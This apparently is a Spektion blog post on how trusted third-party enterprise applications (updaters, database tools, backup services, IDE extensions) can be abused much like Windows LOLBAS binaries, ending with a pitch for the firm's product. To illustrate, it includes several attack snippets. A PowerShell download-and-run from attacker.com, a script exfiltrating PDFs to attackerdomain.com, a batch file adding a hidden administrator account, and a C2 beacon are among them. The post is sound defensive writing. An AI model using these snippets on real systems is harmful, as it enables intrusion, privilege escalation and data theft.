While the cybersecurity community has extensively documented Windows system binaries that can be abused (known as Living Off the Land Binaries and Scripts or LOLBAS), our research at Spektion has uncovered an equally concerning but less discussed threat: the vast ecosystem of trusted third-party applications that unknowingly introduce additional attack vectors into enterprise environments.
Most organizations focus their security monitoring on native system components like PowerShell, WMI, and Windows utilities. However, our runtime intelligence has revealed that commercial and enterprise applications significantly expand this attack surface by introducing their own dual-use capabilities. These vendor tools—designed for legitimate purposes like updating, automation, and administration—often possess dangerous capabilities that attackers can repurpose for malicious activities.
Unlike native Windows binaries that security teams increasingly monitor, these vendor-introduced tools frequently operate under the radar, with elevated privileges and minimal restrictions.
Commercial software components present distinct security challenges compared to built-in system utilities:
Our runtime visibility across numerous enterprise environments has revealed that the typical organization has hundreds of these potentially exploitable components installed—each representing a potential attack vector that exists outside traditional LOLBAS monitoring.
Through extensive runtime monitoring, we’ve identified several categories of commercial software that frequently introduce exploitable capabilities:
Nearly every commercial application implements its own update process, and these mechanisms commonly include capabilities for:
One particularly concerning example comes from a widely-deployed enterprise productivity suite. Its update mechanism contains a utility that accepts commands through a configuration file:
// Simplified representation of vulnerable functionality
public static void ProcessConfigCommand(string commandArgument)
{
// No validation of input source or content
if (commandArgument.StartsWith("exec:"))
{
string command = commandArgument.Substring(5);
// Directly executing shell commands from config
System.Diagnostics.Process.Start("cmd.exe", "/c " + command);
}
else if (commandArgument.StartsWith("download:"))
{
string[] parts = commandArgument.Substring(9).Split('|');
string url = parts[0];
string destination = parts[1];
// Downloading from arbitrary URLs
using (WebClient client = new WebClient())
{
client.DownloadFile(url, destination);
}
}
}This functionality exists for legitimate update purposes, but any attacker who can manipulate the configuration source (in this case, any authenticated user) gains a powerful execution mechanism that operates with the application’s elevated privileges.
Enterprise software commonly includes automation capabilities that can be weaponized:
For example, our research identified a popular database administration tool that includes a feature for executing “maintenance scripts.” While designed for legitimate database maintenance, this feature accepts and executes arbitrary PowerShell commands without verification of source or content:
# Example of how the legitimate maintenance function can be abused
MaintenanceEngine.Execute("
# Legitimate-looking database maintenance comment
$dbBackupPath = 'C:\Backup\db.bak';
# Hidden malicious code
$c = New-Object System.Net.WebClient;
$c.DownloadFile('http://attacker.com/payload.dll', 'C:\Windows\Tasks\legit.dll');
Start-Process -FilePath 'powershell.exe' -ArgumentList '-WindowStyle Hidden -ExecutionPolicy Bypass -Command Import-Module C:\Windows\Tasks\legit.dll; Invoke-MaliciousFunction';
# More legitimate-looking code
Write-Output 'Database maintenance complete!'
");Because this execution happens within a trusted application context, it typically bypasses security controls that would otherwise detect malicious PowerShell usage.
Many enterprise applications include administrative utilities with extensive system access:
These tools often implement their own command execution mechanisms separate from the operating system’s standard processes. For instance, a popular IT management suite includes a diagnostic utility that can execute commands as follows:
[DiagnosticFunction]
Type=CommandExecution
Target=System
Command=%COMMAND_TO_EXECUTE%
RunAs=SYSTEM
Visible=falseWhen used legitimately, this runs built-in diagnostics. However, the same mechanism can execute arbitrary commands with SYSTEM privileges while hiding console output—ideal for attackers seeking stealthy execution.
Applications that process external content often include features that can be repurposed for attacks:
Many of these applications implement custom script interpreters that run outside standard monitoring and can interact with system components.
To illustrate the real-world impact of these vulnerabilities, let’s examine several attack scenarios we’ve observed:
In one incident, attackers exploited a popular design application’s scripting engine to exfiltrate sensitive data:
// Malicious script disguised as a design automation tool
app.doScript(function () {
// Legitimate-looking design automation code
var doc = app.activeDocument;
// Hidden malicious functionality
var files = Folder("/Users/victim/Documents/Confidential").getFiles("*.pdf");
for (var i = 0; i < files.length; i++) {
// Using the application's legitimate network functionality to exfiltrate data
uploadToTemplate(
"https://attackerdomain.com/templates?data=" +
encodeURIComponent(files[i])
);
}
});This attack succeeded because:
In another case, attackers used a backup application’s service component to escalate privileges:
# Legitimate backup configuration file modified to include:
[SpecialBackupTask]
Name=System Integrity Verification
OnDemand=true
ExecuteBefore=C:\Windows\Temp\helper.bat
Recursive=trueThe batch file contained (contrived example for brevity):
@echo off
net user admin_backup Password123! /add
net localgroup administrators admin_backup /addThis attack was particularly effective because:
Developers’ tools present another rich attack surface. In one instance, attackers exploited an IDE’s extension mechanism:
{
"name": "Code Quality Analyzer",
"description": "Analyzes code quality metrics",
"version": "1.0.0",
"startup": "startup.js",
"permissions": ["filesystem", "process", "network"]
}The startup.js file contained:
// Legitimate-looking code quality extension
exports.activate = function (context) {
// Set up persistence using the IDE's own scheduler
context.scheduler.scheduleTask("Quality Analysis", "0 * * * *", function () {
// Hidden malicious code that pings C2 server
require("https").get("https://attacker.com/beacon?id=" + getSystemId());
// Legitimate-looking analysis result
context.logger.info("Code quality analysis complete");
});
};This attack succeeded because:
At Spektion, we’ve developed a runtime intelligence platform specifically designed to address the blind spots created by third-party software:
Comprehensive Discovery: We continuously monitor application behavior at runtime to identify all components with potentially dangerous capabilities—not just those documented by vendors.
Behavioral Evaluation: For each application component, we assess the application’s behavior, covering process creation, file access, network communications, and system modifications.
Preventive Controls: Based on behavioral analysis, we generate precise preventive and detective controls that can be implemented in existing security tools.
As attackers rapidly shift their focus from heavily monitored operating system binaries to lesser-scrutinized third-party software, security teams must urgently expand their defensive aperture. Organizations can no longer afford to focus exclusively on LOLBAS—they must now systematically identify, monitor, and control the exploitable functionality within every piece of trusted software in their environment.
While the security community has made significant progress in addressing risks posed by native system utilities, the equally dangerous capabilities introduced by trusted third-party software remain largely unaddressed. Every application that can download files, execute commands, or access sensitive resources represents a potential attack vector—regardless of whether it comes from Microsoft or a trusted vendor.
By monitoring actual software behavior rather than relying solely on reputation or disclosed vulnerabilities, security teams can identify and mitigate these hidden risks before attackers exploit them. In modern security, understanding what software can do is as important as knowing what vulnerabilities it contains—and in an environment where attackers increasingly leverage legitimate software for malicious purposes, comprehensive visibility into application behavior is no longer optional but essential.